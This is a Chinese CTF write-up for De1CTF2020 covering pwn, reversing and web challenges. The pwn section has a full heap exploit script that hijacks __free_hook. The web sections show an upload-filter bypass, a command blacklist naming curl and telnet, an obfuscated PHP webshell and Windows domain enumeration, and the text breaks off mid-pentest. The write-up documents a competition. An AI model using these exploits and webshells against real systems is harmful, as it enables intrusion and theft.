Writeup for De1CTF2020 by X1cT34m

Screen Shot 2020-05-04 at 11.34.50 PM

pwn

stl_container [solved zihu4n]

  • 俩个结构体,一个存属性一个存的内容
  • 估计还有个存列表的
  • 四种结构体,跟stl那边实现的队列啥的结构是一样的
  • 双向链表,大体的结构是mlist->start, start fd跟bk分别指向0跟1的一个存储的heap,然后是start+0x18=len,存储的heapaddr+0x18=content。
  • 可以leak,每次add都会产生一个0xa1的垃圾堆。
  • 我有罪,这种libc的leak卡我这么久
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
r=remote('134.175.239.26',8848)
#r=process('./stl_container')
def menu(choice):
    r.recvuntil(">> ")
    r.send(str(choice).ljust(7,'\x00'))

def add(choice,context):
    menu(choice)
    r.recvuntil(">> ")
    r.send('1'+'\x00'*6)
    r.recvuntil('nput data:')
    r.send(context)

def free(choice,idx):
    menu(choice)
    r.recvuntil(">> ")
    r.send('2'+'\x00'*6)
    if choice==3 or choice == 4:
        print "nothing"
    else:
        r.recvuntil("ndex?")
        r.sendline(str(idx))
        sleep(0.1)

def show(choice,idx):
    menu(choice)
    r.recvuntil(">> ")
    r.send('3'+'\x00'*6)
    r.recvuntil("ndex?")
    r.sendline(str(idx))
    sleep(0.1)
    r.recvuntil("data: ")

def gd():
    gdb.attach(r)
    pause()

add(1,'aaaa\n')
add(1,'aaaa\n')
add(3,'cccc\n')
add(3,'cccc\n')
add(4,'cccc\n')
add(2,'bbbb\n')
add(2,'bbbb\n')
add(4,'cccc\n')
free(1,0)
free(1,0)
free(3,0)
free(3,0)
free(4,0)
free(4,0)
free(2,0)
show(2,0)
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
libc=ELF('./libc-2.27.so')
lbase=leak-96-0x10-libc.symbols['__malloc_hook']
one=lbase+0x4f322
add(2,'/bin/sh')
add(3,'/bin/sh')
free(2,0)
free(2,0)
add(1,p64(lbase+libc.symbols['__free_hook']))
add(1,p64(lbase+libc.symbols['system']))
r.interactive()

Re

parser [solved] psb Soreat_u

0xE7, 0xA4, 0x33, 0x4C, 0xD3, 0x11, 0xE7, 0x85, 0x68, 0x56,
  0x97, 0x11, 0xEE, 0xD2, 0xF8, 0xD9, 0x3E, 0x70, 0xC9, 0x4E,
  0x94, 0xA0, 0x32, 0x5A, 0x27, 0x98, 0x00, 0x1D, 0xD5, 0xD7,
  0x11, 0x1D, 0xF4, 0x85, 0x61, 0xAC, 0x0C, 0x80, 0x27, 0x40,
  0xBD, 0xDD, 0x1F, 0x0B, 0xB4, 0x97, 0x1F, 0x60, 0x5B, 0x54,
  0xCB, 0xC5, 0xA8, 0xB7, 0x11, 0x90, 0xC9, 0xB5, 0x81, 0x65,
  0x53, 0x0F, 0x7E, 0x7F

格式De1CTF{}
中间用+ _分割
类似后缀表达式
比如中间输入
pisanbao_aaaaaaa+5201314+5201314+5201314
先拆分数据 pisanbao aaaaaaa 5201314 5201314 5201314
表达式 _+++
遇到pisanbao先来一波rc4变成
0x89, 0xC2, 0x22, 0xA4, 0xEF, 0x3E, 0x06, 0xF3
然后aaaaaaa同理
然后表达式是_
就把数据结合 pisanbao和aaaaaaa rc4后的密文合一起
来一波des-cbc
key iv都是De1CTF后面用\x02对齐

然后继续读取数据5201314
来一波rc4变成 0xCC, 0x99, 0x61, 0xF4, 0xB2, 0x6D, 0x53
然后读取表达式+
吧密文合一起进行aes-cbc
key iv都是De1CTF后面用\x0A对齐

rc4 xor数据
pisanbaopisanbao
0x89, 0xC2, 0x22, 0xA4, 0xEF, 0x3E, 0x06, 0xF3, 0xE1, 0xBE,
  0xC6, 0x0C, 0x6E, 0x65, 0x21, 0xFC

RC4 xor的key:[249, 171, 81, 197, 129, 92, 103, 156, 145, 215, 181, 109, 0, 7, 64, 147]

对数据RC4后,根据+-来选择用AES还是DES加密。

最后的结果:[0xE7, 0xA4, 0x33, 0x4C, 0xD3, 0x11, 0xE7, 0x85, 0x68, 0x56, 0x97, 0x11, 0xEE, 0xD2, 0xF8, 0xD9, 0x3E, 0x70, 0xC9, 0x4E, 0x94, 0xA0, 0x32, 0x5A, 0x27, 0x98, 0x00, 0x1D, 0xD5, 0xD7, 0x11, 0x1D, 0xF4, 0x85, 0x61, 0xAC, 0x0C, 0x80, 0x27, 0x40, 0xBD, 0xDD, 0x1F, 0x0B, 0xB4, 0x97, 0x1F, 0x60, 0x5B, 0x54, 0xCB, 0xC5, 0xA8, 0xB7, 0x11, 0x90, 0xC9, 0xB5, 0x81, 0x65, 0x53, 0x0F, 0x7E, 0x7F]

不断地尝试去解密,最后得到:

AES ( AES( RC4(h3llo) || DES(RC4(w0rld)||RC4(l3x3r)) || DES( RC4(4nd) || RC4(p4r53r) )

De1CTF{h3ll0+w0rld_l3x3r+4nd_p4r53r}

little elves [solved] psb Soreat_u

看起来很像之前写AES的时候,实现的一个在GF(2^8)上的乘法:

不过这里的不可约多项式是$x^8 + x^5 + x^4 + x^3 + 1$(0x39 = 0b00111001)

就是一个在GF(2^8)下的矩阵乘法。

$$ data \cdot input = res $$

data、res已知,可以用sagemath在GF(2^8)下解出$input$。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
byte_008880A9=[0xA6,0x08,0x74,0xBB,0x30,0x4F,0x31,0x8F,0x58,0xC2,0x1B,0x83,0x3A,0x4B,0xFB,0xC3,0xC0,0xB9,0x45,0x3C,0x54,0x18,0x7C,0x21,0xD3,0xFB,0x8C,0x7C,0xA1,0x09,0x2C,0xD0,0x14,0x2A,0x08,0x25,0x3B,0x93,0x4F,0xE8,0x39,0x10,0x0C,0x54]
byte_0088812C=[0x49,0xFC,0x51,0x7E,0x32,0x57,0xB8,0x82,0xC4,0x72,0x1D,0x6B,0x99,0x5B,0x3F,0xD9,0x1F,0xBF,0x4A,0xB0,0xD0,0xFC,0x61,0xFD,0x37,0xE7,0x52,0xA9,0xB9,0xEC,0xAB,0x56,0xD0,0x9A,0xC0,0x6D,0xFF,0x3E,0x23,0x8C,0x5B,0x31,0x8B,0xFF]
byte_008881B4=[0x39,0x12,0x2B,0x66,0x60,0x1A,0x32,0xBB,0x81,0xA1,0x07,0x37,0x0B,0x1D,0x97,0xDB,0xCB,0x8B,0x38,0x0C,0xB0,0xA0,0xFA,0xED,0x01,0xEE,0xEF,0xD3,0xF1,0xFE,0x12,0x0D,0x4B,0x2F,0xD7,0xA8,0x95,0x9A,0x21,0xDE,0x4D,0x8A,0xF0,0x2A]
byte_0088823B=[0x60,0xC6,0xE6,0x0B,0x31,0x3E,0x2A,0x0A,0xA9,0x4D,0x07,0xA4,0xC6,0xF1,0x83,0x9D,0x4B,0x93,0xC9,0x67,0x78,0x85,0xA1,0x0E,0xD6,0x9D,0x1C,0xDC,0xA5,0xE8,0x14,0x84,0x10,0x4F,0x09,0x01,0x21,0xC2,0xC0,0x37,0x6D,0xA6,0x65,0x6E]
byte_008882C0=[0x6C,0x9F,0xA7,0xB7,0xA5,0xB4,0x4A,0xC2,0x95,0x3F,0xD3,0x99,0xAE,0x61,0x66,0x7B,0x9D,0x8E,0x2F,0x1E,0xB9,0xD1,0x39,0x6C,0xAA,0xA1,0x7E,0xF8,0xCE,0xEE,0x8C,0x69,0xC0,0xE7,0xED,0x24,0x2E,0xB9,0x7B,0xA1,0x61,0xC0,0xA8,0x81]
byte_00888341=[0x48,0x12,0x84,0x25,0x25,0x2A,0xE0,0x63,0x5C,0x9F,0x5F,0x1B,0x12,0xAC,0x2B,0xFB,0x61,0x2C,0xEE,0x6A,0x2A,0x56,0x7C,0x01,0xE7,0x3F,0x63,0x93,0xEF,0xB4,0xD9,0xC3,0xCB,0x6A,0x15,0x04,0xEE,0xE5,0x2B,0xE8,0xC1,0x1F,0x74,0xD5]
byte_008883C4=[0x11,0x85,0x74,0x07,0x39,0x4F,0x14,0x13,0xC5,0x92,0x05,0x28,0x67,0x38,0x87,0xB9,0xA8,0x49,0x03,0x71,0x76,0x66,0xD2,0x63,0x1D,0x0C,0x22,0xF9,0xED,0x84,0x39,0x47,0x2C,0x29,0x01,0x41,0x88,0x70,0x14,0x8E,0xA2,0xE8,0xE1,0x0F]
byte_00888449=[0xE0,0xC0,0x05,0x66,0xDC,0x2A,0x12,0xDD,0x7C,0xAD,0x55,0x57,0x70,0xAF,0x9D,0x48,0xA0,0xCF,0xE5,0x23,0x88,0x9D,0xE5,0x0A,0x60,0xBA,0x70,0x9C,0x45,0xC3,0x59,0x56,0xEE,0xA7,0xA9,0x9A,0x89,0x2F,0xCD,0xEE,0x16,0x31,0xB1,0x53]
byte_008884CE=[0xEA,0xE9,0xBD,0xBF,0xD1,0x6A,0xFE,0xDC,0x2D,0x0C,0xF2,0x84,0x5D,0x0C,0xE2,0x33,0xD1,0x72,0x83,0x04,0x33,0x77,0x75,0xF7,0x13,0xDB,0xE7,0x88,0xFB,0x8F,0xCB,0x91,0xCB,0xD4,0x47,0xD2,0x0C,0xFF,0x2B,0xBD,0x94,0xE9,0xC7,0xE0]
byte_0088854E=[0x05,0x3E,0x7E,0xD1,0xF2,0x88,0x5F,0xBD,0x4F,0xCB,0xF4,0xC4,0x02,0xFB,0x96,0x23,0xB6,0x73,0xCD,0x4E,0xD7,0xB7,0x58,0xF6,0xD0,0xD3,0xA1,0x23,0x27,0xC6,0xAB,0x98,0xE7,0x39,0x2C,0x5B,0x51,0x3A,0xA3,0xE6,0xB3,0x95,0x72,0x69]
byte_008885CE=[0x48,0xA9,0x6B,0x74,0x38,0xCD,0xBB,0x75,0x02,0x9D,0x27,0x1C,0x95,0x5E,0x7F,0xFF,0x3C,0x2D,0x3B,0xFE,0x1E,0x90,0xB6,0x9C,0x9F,0x1A,0x27,0x2C,0x81,0x22,0x6F,0xAE,0xB0,0xE6,0xFD,0x18,0x8B,0xB2,0xC8,0x57,0x2C,0x47,0x43,0x43]
byte_00888655=[0x05,0x62,0x97,0x53,0x2B,0x08,0x6D,0x3A,0xCC,0xFA,0x7D,0x98,0xF6,0xCB,0x87,0xC3,0x08,0xA4,0xC3,0x45,0x94,0x0E,0x47,0x5E,0x51,0x25,0xBB,0x40,0x30,0x32,0xE6,0xA5,0x14,0xA7,0xFE,0x99,0xF9,0x49,0xC9,0x28,0x6A,0x03,0x5D,0xB2]
byte_008886D9=[0x68,0xD4,0xB7,0xC2,0xB5,0xC4,0xE1,0x82,0xD0,0x9F,0xFF,0x20,0x5B,0x3B,0xAA,0x2C,0x47,0x22,0x63,0x9D,0xC2,0xB6,0x56,0xA7,0x94,0xCE,0xED,0xC4,0xFA,0x71,0x16,0xF4,0x64,0xB9,0x2F,0xFA,0x21,0xFD,0xCC,0x2C,0xBF,0x32,0x92,0xB5]
byte_0088875D=[0x8F,0x05,0xEC,0xD2,0x88,0x50,0xFC,0x68,0x9C,0x64,0xD1,0x6D,0x67,0x86,0x7D,0x8A,0x73,0xD7,0x6C,0x9B,0xBF,0xA0,0xE4,0xB7,0x15,0x9D,0xE1,0x3D,0x59,0xC6,0xFA,0x39,0xBD,0x59,0xCD,0x98,0xB8,0x56,0xCF,0x48,0x41,0x14,0xD1,0x9B]
byte_008887E3=[0x67,0x33,0x76,0xA7,0x6F,0x98,0xB8,0x61,0xD5,0xBE,0xAF,0x5D,0xED,0x8D,0x5C,0x1E,0x52,0x88,0x10,0xD4,0x63,0x15,0x69,0xA6,0xA1,0xD6,0x67,0x15,0x74,0xA1,0x94,0x84,0x5F,0x36,0x3C,0xA1,0xCF,0xB7,0xFA,0x2D,0x9C,0x51,0xD0,0x0F]
byte_00888865=[0x96,0x41,0x04,0x25,0xCA,0x04,0x36,0x6A,0x71,0x37,0x33,0xB5,0xE1,0x78,0xAD,0x3D,0xFB,0x2A,0x99,0x95,0x58,0xA0,0x4F,0xC5,0xCC,0x14,0x41,0x4F,0xA5,0x55,0xCB,0xC1,0xCB,0x61,0x09,0x8E,0x35,0x32,0x7F,0xC1,0xE1,0x0B,0x79,0x94]
byte_008888E9=[0x63,0x1B,0x14,0x34,0xF8,0xC5,0x75,0xD2,0xD8,0xF9,0x7A,0x30,0xE1,0x75,0xD3,0x02,0x21,0xAC,0x3C,0x8C,0x54,0x2C,0x47,0xBB,0xA0,0xC6,0x1A,0x64,0xA2,0x5C,0x59,0xB5,0x52,0x37,0xB8,0x98,0x70,0x33,0xF8,0xFF,0xCD,0x91,0x1F,0x89]
byte_00888977=[0xD1,0x4E,0xDB,0x5E,0xBD,0x92,0x5C,0xAC,0xD6,0x6A,0x7A,0x79,0x5A,0x3C,0xAE,0x06,0x52,0x1C,0xA6,0xCE,0xF8,0x56,0x1C,0x71,0x9F,0xB7,0xC4,0x0C,0xB7,0x92,0xE1,0x6B,0xA9,0x80,0x43,0xDD,0xE4,0xF4,0xD4,0x42,0x76,0x88,0xA2,0xDA]
byte_008889F9=[0xA3,0x8F,0x70,0x7B,0x62,0x57,0x00,0x8F,0xC6,0xB0,0xC4,0xF6,0xE7,0xC9,0x9D,0xA9,0xF4,0x7B,0x6A,0xD2,0x32,0x9F,0x2F,0x37,0x1C,0xCB,0xEB,0x5B,0x4A,0x10,0xAF,0x7D,0x35,0x36,0x52,0x02,0x70,0x9F,0x7A,0xFB,0x76,0x8A,0x78,0xB8]
byte_00888A7F=[0xBB,0x51,0x80,0x37,0xDD,0xDF,0x2C,0x25,0xA6,0xA8,0x20,0xA9,0x16,0xFF,0xA9,0xFB,0x65,0x9E,0xA1,0x99,0x59,0x01,0xF4,0x57,0xF6,0xED,0x9D,0xE8,0xB4,0x03,0xF8,0x17,0x3A,0xA2,0x90,0x9F,0xAD,0x1C,0x75,0xC4,0xBA,0xE1,0x51,0x53]
byte_00888B05=[0xA9,0x2D,0xE5,0xAD,0x11,0xF8,0x53,0xC9,0xF2,0x26,0x74,0xC9,0x0C,0x57,0x03,0xE7,0xC8,0x8F,0xA6,0x3F,0x92,0x56,0xF0,0xC5,0x1A,0xC6,0x15,0x22,0xCA,0xC0,0x1A,0xBC,0xCB,0x03,0x0D,0xEE,0x6D,0xB3,0xD6,0x92,0xC1,0xFF,0xE2,0xBD]
byte_00888B8B=[0x10,0x3F,0x26,0xB2,0xB8,0x19,0x33,0x51,0x8E,0xBD,0x02,0x25,0xA3,0xF4,0x9D,0xC1,0x95,0x15,0x06,0xD7,0xB9,0x0D,0xCD,0x38,0x9E,0x2D,0x30,0xF3,0x62,0xF8,0x81,0xDF,0x44,0x6F,0x58,0x3E,0x77,0x1C,0xFF,0xF3,0x84,0xEE,0x95,0x4B]
byte_00888C0D=[0xB9,0x8D,0x31,0xAD,0x56,0x09,0x96,0x63,0xB7,0x72,0xE2,0x85,0xAA,0x02,0x41,0x7C,0x02,0xA4,0x02,0x9B,0x99,0x59,0x6D,0xDC,0x8A,0x7F,0x96,0xD5,0x72,0x06,0x97,0xE3,0xF8,0xAC,0x1C,0x00,0x5C,0x3F,0x29,0xE5,0xD6,0x78,0x31,0xA4]
byte_00888C92=[0xF2,0x30,0x93,0xFC,0xCC,0x59,0x6F,0xA8,0xFB,0x88,0xA0,0x6A,0x05,0x9B,0x89,0xC6,0xFA,0xFA,0x39,0xB4,0xFC,0x76,0xA5,0x15,0xFE,0x9B,0x9A,0xF7,0xF2,0xD9,0x83,0x41,0x23,0xCF,0x70,0x4D,0xD1,0xB0,0x7A,0xC0,0x93,0x6B,0x50,0x25]
byte_00888D14=[0x34,0xB7,0xFB,0x1D,0xE2,0xAF,0x27,0x4B,0x22,0xFE,0xE9,0x60,0x9B,0x90,0x09,0xFE,0xBD,0x29,0xA9,0xB8,0x5B,0x61,0x57,0x58,0xFB,0x8A,0x72,0x76,0x5B,0x9C,0xC6,0x4B,0xDE,0x13,0xB7,0x34,0x51,0xC2,0x90,0x0D,0xF9,0x6F,0x03,0x49]
byte_00888D9D=[0x15,0x6B,0xDE,0x6A,0xDE,0x62,0xBE,0x04,0xF4,0xE1,0x70,0x85,0x78,0xFD,0x8D,0x30,0x34,0x9A,0x3F,0xEB,0xBE,0x4E,0x21,0xD1,0x04,0xAC,0x9E,0xBB,0xDB,0x97,0x11,0xE9,0xD6,0x20,0x78,0x26,0x1A,0x00,0xFA,0x81,0xFB,0x28,0x59,0x27]
byte_00888E21=[0x19,0x42,0x75,0x6B,0xC8,0x50,0x58,0x5A,0x18,0xB0,0xF7,0x5F,0x3B,0x79,0x76,0x43,0x38,0x85,0x91,0xA7,0x18,0x2E,0xB4,0x91,0x80,0xDC,0xC8,0x1D,0xAC,0x9D,0x64,0x09,0x61,0xFD,0x08,0xC8,0x34,0xE5,0x93,0xDA,0xFE,0xFF,0xB6,0xAA]
byte_00888EA2=[0xAC,0x4F,0xD6,0x1A,0x55,0xE6,0xE4,0xDF,0x20,0xE3,0x54,0x4A,0x6D,0xD1,0xDE,0x2D,0x30,0x42,0x17,0xC5,0x34,0xD4,0xB3,0xB8,0x5A,0x95,0xC7,0x80,0x99,0x46,0x03,0x49,0xA0,0x27,0x31,0xA5,0x58,0xFC,0x87,0x09,0x9D,0x8C,0x20,0x21]
byte_00888F29=[0x48,0xE9,0xC4,0xAD,0x23,0xA6,0x92,0xBA,0x3D,0x56,0x40,0x2A,0x19,0x56,0x42,0x5D,0x0C,0xFF,0x3F,0x53,0x5F,0xDB,0x6C,0x98,0xCD,0x1F,0xEE,0x4D,0x4A,0x9C,0x95,0xE4,0x44,0xF4,0xB2,0x4E,0xB5,0xAD,0xFB,0xF8,0xB9,0x63,0xB5,0xCD]
byte_00888FAF=[0x6A,0x56,0xE0,0x33,0x5B,0xC2,0x9E,0x53,0x90,0x4D,0xD9,0x5F,0x7D,0x77,0x90,0x2F,0x55,0xDC,0x18,0x28,0x3B,0x4D,0x46,0xBE,0xBC,0x14,0x69,0x96,0x4F,0x55,0xC2,0xA8,0x40,0xD7,0xEA,0xE2,0x04,0x63,0x9D,0x00,0xBA,0x4A,0x12,0x5E]
byte_00889036=[0x24,0x17,0x33,0x4E,0xBF,0xFE,0x01,0xA6,0xAE,0x3E,0xDE,0xF3,0x83,0xCF,0x25,0x04,0xC7,0x23,0xA9,0x07,0xD8,0x2A,0xBE,0xF1,0x78,0x0B,0xA6,0x81,0x75,0x5D,0xB8,0x32,0xED,0x54,0x7A,0x43,0xFA,0xF8,0x3C,0x60,0x75,0x5B,0xBB,0x4F]
byte_008890BD=[0xF8,0x11,0xAD,0x7F,0x62,0xB8,0x0B,0x14,0x32,0x8C,0xF9,0xF8,0x18,0xDE,0x22,0x56,0x47,0x00,0xED,0x8A,0x94,0x6B,0x73,0x68,0x3E,0xBF,0x27,0xDD,0x7B,0x73,0x83,0xE5,0x7F,0x38,0x40,0xB1,0x6A,0xEF,0x1A,0xFF,0x64,0x58,0x01,0x4B]
byte_00889142=[0x90,0x12,0x55,0x67,0x03,0x1F,0x9D,0x2C,0x43,0x18,0xE4,0xE2,0x52,0xD0,0x45,0x11,0xBD,0xD8,0xCD,0x8C,0x06,0x01,0x21,0x0B,0x3D,0xDF,0x0C,0x74,0x7B,0xA7,0x97,0x3A,0xA7,0x4F,0x60,0xBD,0x97,0xE9,0x5C,0x5E,0x16,0x3C,0xFE,0xFE]
byte_008891C5=[0xD8,0xA7,0x52,0xF4,0x8F,0xE7,0xC0,0x3F,0x4F,0x31,0x83,0xB0,0xD4,0x2E,0x8D,0x6B,0x7D,0xCF,0xC9,0x05,0x67,0x9B,0x6B,0xA6,0xD2,0x31,0xB6,0x3C,0x22,0x1A,0xDC,0xC6,0xE1,0xA0,0x39,0x34,0x8A,0x1B,0xF7,0xB5,0x00,0x43,0x01,0xCD]
byte_0088924D=[0x13,0xF3,0xD7,0xCB,0x9C,0x9D,0x47,0xBB,0x8E,0xC6,0xF4,0x34,0x64,0xC3,0x81,0x86,0x26,0xE3,0x9B,0xF1,0x7A,0xC0,0x91,0xB3,0xC3,0x10,0xB4,0x46,0x56,0xDB,0xFA,0x43,0x7F,0x2F,0xB2,0xF9,0x13,0x24,0xB7,0x32,0x9A,0xBA,0xEF,0x0F]
byte_008892CC=[0xA3,0xE0,0x5F,0x0A,0xAB,0x6A,0x31,0x39,0x1C,0xB2,0x77,0x06,0x28,0xE4,0x5C,0xA3,0x5D,0xE1,0x17,0x25,0x18,0xD3,0x48,0x69,0xD1,0x46,0x00,0xA5,0x46,0xE2,0x2B,0xBB,0xA7,0x3C,0x8F,0xE9,0xCF,0xD1,0x0C,0xCF,0x40,0xF6,0xDE,0x10]
byte_0088934D=[0xF5,0x8C,0xED,0xFA,0x59,0x63,0xD7,0x70,0x55,0xB6,0x33,0x1A,0x3E,0xDC,0x74,0x11,0xC4,0xF7,0xAC,0x79,0x16,0x6A,0x5B,0xC8,0x73,0xF0,0x1F,0x4E,0x2F,0x7E,0x32,0x72,0x6D,0x58,0x53,0x78,0x11,0x5F,0xC6,0xCE,0x47,0x70,0xAC,0x31]
byte_008893CF=[0xFE,0xC6,0xBD,0xAF,0x79,0x7B,0xF8,0x26,0xA3,0xAA,0x5B,0xAB,0x7D,0x42,0x5E,0x25,0xB5,0xCF,0x0D,0x3C,0xD2,0xB2,0xFC,0x27,0xAF,0x12,0x6A,0x5E,0xAB,0xC4,0xB6,0x81,0x65,0xA5,0x67,0xA4,0xEA,0x6E,0x92,0x45,0x24,0x4B,0x3A,0x62]
byte_00889456=[0xB8,0xA2,0xA0,0x18,0x47,0xD6,0x18,0x0E,0xC4,0xDE,0x43,0xB2,0xA3,0x96,0xCE,0x68,0x26,0xB0,0xF5,0x62,0xB4,0xD5,0x5D,0x86,0x19,0xC6,0xA6,0x0A,0xB7,0x63,0xCF,0x7F,0xA3,0x0A,0x8D,0x69,0x34,0x44,0x12,0x79,0xD9,0xD1,0x7C,0x7F]
byte_008894DC=[0x8E,0x99,0xF5,0x82,0xB6,0x37,0xD3,0xFA,0xD9,0x0A,0xAC,0x77,0xD4,0xAB,0xF4,0x63,0x63,0x29,0xDF,0xDD,0x80,0x42,0x1F,0x81,0xC3,0x91,0xF1,0x32,0x4D,0x8B,0x1D,0xE8,0x3C,0xA7,0x6E,0x8B,0x7C,0x87,0x12,0xC5,0xC8,0x55,0x0F,0x9F]
byte_0088955E=[0xE1,0x9F,0x56,0x37,0x9E,0x89,0xE5,0xFA,0x81,0xC2,0xC8,0x1F,0x93,0x1E,0xDB,0xE9,0x93,0x1C,0x06,0xDB,0x51,0xAC,0x84,0xA2,0xD4,0x73,0xE8,0x3C,0x98,0x69,0x92,0x4D,0xBB,0x09,0x14,0xBF,0x9D,0x60,0x83,0xBE,0x7D,0xAF,0x8D,0x04]
byte_008895E0=[0x6E,0x4B,0xE8,0x3A,0x66,0x0D,0xDE,0x89,0x89,0x0E,0xBF,0x9B,0x30,0x64,0xA9,0xB8,0x31,0xF9,0x31,0x27,0x8A,0x7C,0x3F,0x49,0xED,0x96,0xF4,0x7E,0x7F,0xCE,0x5B,0xFC,0x6E,0x2D,0xBD,0x74,0xBC,0x2A,0x12,0x44,0xC2,0xF4,0x35,0x02]
byte_00889662=[0x6D,0x74,0x57,0xF1,0x80,0x79,0xE3,0xBC,0x02,0x06,0x51,0xC2,0x04,0xE1,0xB0,0x30,0x08,0x3B,0xF3,0x32,0xEA,0xE4,0xC0,0xB0,0xA8,0xBB,0xF8,0xF4,0x1B,0xBC,0x6B,0xCC,0xDE,0xCA,0x49,0x8D,0xA0,0x8B,0x97,0xCE,0x01,0xE3,0x98,0x51]
byte_008896E1=[0x0D,0x95,0x55,0x9E,0xA4,0x77,0x95,0x24,0x8A,0x54,0xAD,0x84,0x27,0xE6,0x60,0xE5,0x54,0xDA,0x0E,0x99,0xB8,0x62,0xA0,0x81,0x02,0xA1,0x63,0x29,0x11,0x72,0x37,0x43,0xC0,0x66,0xF1,0xA8,0x95,0xBF,0xD8,0x12,0xE5,0x99,0x5E,0xAB]
data=[byte_008880A9,byte_0088812C,byte_008881B4,byte_0088823B,byte_008882C0,byte_00888341,byte_008883C4,byte_00888449,byte_008884CE,byte_0088854E,byte_008885CE,byte_00888655,byte_008886D9,byte_0088875D,byte_008887E3,byte_00888865,byte_008888E9,byte_00888977,byte_008889F9,byte_00888A7F,byte_00888B05,byte_00888B8B,byte_00888C0D,byte_00888C92,byte_00888D14,byte_00888D9D,byte_00888E21,byte_00888EA2,byte_00888F29,byte_00888FAF,byte_00889036,byte_008890BD,byte_00889142,byte_008891C5,byte_0088924D,byte_008892CC,byte_0088934D,byte_008893CF,byte_00889456,byte_008894DC,byte_0088955E,byte_008895E0,byte_00889662,byte_008896E1]


F.<x> = GF(2^8, modulus=[1,0,0,1,1,1,0,0,1])

for i in range(44):
    for j in range(44):
        data[i][j] = F.fetch_int(data[i][j])

Md = matrix(F, data)


results = [200, 201, 204, 116, 124, 94, 129, 127, 211, 85, 61, 154, 50, 51, 27, 28, 19, 134, 121, 70, 100, 219, 1, 132, 93, 252, 152, 87, 32, 171, 228, 156, 43, 98, 203, 2, 24, 63, 215, 186, 201, 128, 103, 52]
for i in range(44):
    results[i] = F.fetch_int(results[i])

Mr = matrix(F, results).transpose()

Mi = Md^-1 * Mr


flag = ''
for i in Mi.transpose()[0]:
    flag += chr(i.integer_representation())

print flag

De1CTF{01ab211f-589b-40b7-9ee4-4243f541fc40}

WEB

check in[solved] byc_404 姬扬灵 小狗

黑名单

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents

主要是一个ph的问题

Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/jpeg

addtype application/x-httpd-p\
hp .jpg

可以上传.htaccess,利用XNUCA ezphp的非预期进行换行。 然后短标签写webshell即可 <?=system('cat /flag');

Hard_Pentest_1[solved] 姬扬灵 byc_404 yulige

  • 应该是win服务器
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 13:27 CST
Nmap scan report for 47.113.219.76
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE       VERSION
22/tcp   closed ssh
80/tcp   open   http          Microsoft IIS httpd 8.5 (PHP 7.2.29)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Unknown
|_http-title: upload
3389/tcp closed ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.83 seconds

首先第一步利用windows特性传pHp文件。内容用畸形shell

<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>

已经getshell了,就是不知道flag在哪.

继续自闭。搜索域渗透相关知识。 先弹个shell,昨天目录下有别人传的nc.exe直接拿来用

再跑了个winPEAS脚本 发现域用户里有个DE1CTF2020\HintZip_Pass 然后收集域内信息

PS C:\> net use
net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK                     \\192.168.0.12\Hint       Microsoft Windows Network
The command completed successfully.

pushd \192.168.0.12\Hint 进入该目录。得到flag1_and_flag2hint.zip

然后凑巧又发现别人cp到自己文件夹的这个zip,直接拿来用 现在要一个密码。

搜索相关资料发现一个gpp漏洞。可以读xml

C:\Users\Public> dir /s /a \\192.168.0.12\SYSVOL\*.xml
 Volume in drive \\192.168.0.12\SYSVOL has no label.
